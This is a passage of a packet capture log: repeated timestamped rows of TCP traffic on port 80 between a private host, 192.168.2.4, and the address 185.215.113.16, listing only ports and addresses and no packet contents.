Oct 21, 2024 10:47:19.020502090 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.020514965 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.020610094 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.020613909 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:19.020649910 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.020662069 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.020677090 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:19.020698071 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.020704985 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:19.020709991 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.020721912 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.020734072 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.020751953 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:19.020768881 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:19.020801067 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.020812035 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.020822048 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.020833969 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.020844936 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.020930052 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.020941019 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.020951986 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.020962954 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.020972967 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.020984888 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.020996094 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.021006107 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.021019936 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.021019936 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:19.021035910 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.021047115 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.021049023 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:19.021056890 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.021069050 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.021070957 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:19.021087885 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.021099091 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.021109104 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.021121025 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.021132946 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.021143913 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.021156073 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.021167040 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.021171093 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:19.021179914 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.021208048 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:19.021259069 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.021270037 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.021275997 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:19.021281004 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.021292925 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.021302938 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.021307945 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:19.021313906 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.021327019 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.021337986 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.021348000 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.021353006 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:19.021359921 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.021370888 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.021383047 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.021389008 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:19.021395922 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.021410942 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:19.021413088 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.021425962 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.021434069 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:19.021436930 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.021449089 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.021461010 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.021471977 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.021482944 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.021492958 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.021502972 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.021513939 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.021528006 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.021538973 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.021576881 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.021595001 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.021606922 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.021608114 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:19.021617889 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.021630049 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.021641970 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.021642923 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:19.021652937 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.021663904 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.021675110 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.021686077 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.021696091 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.021707058 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.021718025 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.021727085 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:19.021738052 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.021748066 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:19.021748066 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.021764040 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.021769047 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:19.021774054 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.021784067 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.021795988 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.021806002 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.021820068 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.021831036 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.021842003 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.021852970 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.021866083 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.021877050 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:19.021877050 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.021889925 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.021902084 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.021913052 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:19.021914959 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.021925926 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:19.021927118 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.021936893 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.021955013 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.021965981 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.021976948 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.021991968 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.022003889 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.022008896 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:19.022015095 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.022023916 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:19.022027016 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.022037983 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.022059917 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:19.022080898 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:19.022095919 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.022106886 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.022115946 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.022128105 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.022139072 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.022150040 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.022161007 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.022181034 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.022181988 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:19.022192955 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.022203922 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:19.022205114 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.022214890 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.022221088 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:19.022222996 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.022236109 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.022244930 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.022253990 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.022259951 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:19.022263050 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.022272110 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.022281885 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.022294998 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.022295952 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:19.022309065 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.022320986 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.022321939 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:19.022330999 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.022341013 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.022356987 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.022366047 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.022382975 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.022391081 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.022401094 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.022402048 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:19.022411108 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.022420883 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.022425890 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:19.022429943 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.022440910 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.022442102 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:19.022449970 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.022459984 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.022469044 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.022480011 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.022512913 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:19.022536993 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:19.022636890 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.022691965 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:19.022795916 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.022805929 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.022814989 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.022825003 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.022835970 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.022845984 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.022851944 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:19.022856951 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.022866011 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.022876024 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.022880077 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:19.022886038 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.022896051 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.022901058 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:19.022919893 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:19.022943020 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.022953987 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.022962093 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.022972107 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.022981882 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:19.022983074 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.022993088 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.023011923 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.023014069 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:19.023020983 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.023035049 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.023046017 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.023049116 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:19.023055077 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.023066044 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.023070097 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:19.023077011 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.023089886 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:19.023092031 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.023107052 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.023117065 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.023127079 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.023143053 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.023153067 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.023160934 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:19.023161888 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.023173094 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.023181915 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:19.023184061 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.023191929 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:19.023194075 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.023202896 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.023212910 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.023221016 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.023225069 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:19.023236990 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.023246050 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.023256063 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.023264885 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.023286104 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.023296118 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.023300886 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:19.023304939 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.023314953 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.023324013 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:19.023325920 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.023334980 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.023344040 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:19.023344994 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.023355007 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.023369074 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:19.023371935 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.023381948 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.023397923 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.023401022 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:19.023408890 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.023416996 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:19.023418903 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.023428917 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.023438931 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.023447990 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.023458004 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.023468971 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.023478031 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.023479939 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:19.023488045 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.023509026 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:19.023525000 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:19.023653030 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.023672104 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.023688078 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.023698092 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.023699999 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:19.023706913 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.023719072 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:19.023719072 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.023729086 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.023740053 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.023745060 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.023745060 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:19.023755074 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.023765087 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.023773909 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.023775101 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:19.023783922 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.023792028 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:19.023793936 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.023804903 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.023813963 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:19.023814917 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.023830891 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.023839951 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.023848057 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.023858070 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.023869038 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.023880005 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.023884058 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:19.023890972 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.023901939 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.023912907 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.023919106 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:19.023924112 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.023933887 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.023941040 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:19.023946047 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.023957014 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:19.023962021 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.023972988 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:19.023977995 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.023986101 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.023994923 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.024005890 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.024013996 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.024024010 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.024035931 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.024045944 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.024051905 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:19.024055004 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.024065971 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.024075031 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.024081945 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:19.024085999 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.024095058 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.024095058 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:19.024104118 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.024112940 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:19.024122000 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.024137020 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.024147034 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.024156094 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.024167061 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.024177074 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.024185896 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.024185896 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:19.024194956 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.024204016 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.024214029 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.024216890 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:19.024223089 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.024231911 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:19.024233103 CEST	80	49914	185.215.113.16	192.168.2.4
